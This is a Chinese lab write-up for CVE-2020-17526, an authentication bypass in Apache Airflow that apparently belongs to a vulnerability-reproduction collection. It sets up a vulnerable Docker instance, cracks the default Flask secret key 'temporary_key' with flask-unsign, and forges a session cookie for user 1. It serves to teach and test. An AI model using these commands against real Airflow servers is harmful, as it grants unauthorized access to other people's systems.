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airflow/CVE-2020-17526/README.zh-cn.md
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airflow/CVE-2020-17526/README.zh-cn.md
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# Apache Airflow 默认密钥导致的权限绕过(CVE-2020-17526)
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[中文版本(Chinese version)](README.zh-cn.md)
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Apache Airflow是一款开源的,分布式任务调度框架。默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定`webserver.authenticate=True`来开启认证。
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在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
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参考链接:
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- <https://lists.apache.org/thread/rxn1y1f9fco3w983vk80ps6l32rzm6t0>
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- <https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise>
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## 漏洞环境
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执行如下命令启动一个Apache Airflow 1.10.10服务器:
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```bash
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#Initialize the database
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docker compose run airflow-init
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#Start service
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docker compose up -d
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```
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服务器启动后,访问`http://your-ip:8080`即可查看到登录页面。
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## 漏洞利用
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首先,我们访问登录页面,服务器会返回一个签名后的Cookie:
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```
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curl -v http://localhost:8080/admin/airflow/login
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```
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然后,使用[flask-unsign](https://github.com/Paradoxis/Flask-Unsign)这个工具来爆破签名时使用的`SECRET_KEY`:
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```
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flask-unsign -u -c [session from Cookie]
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```
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Bingo,成功爆破出Key是`temporary_key`。使用这个key生成一个新的session,其中伪造`user_id`为1:
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```
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flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
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```
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在浏览器中使用这个新生成的session,可见已成功登录:
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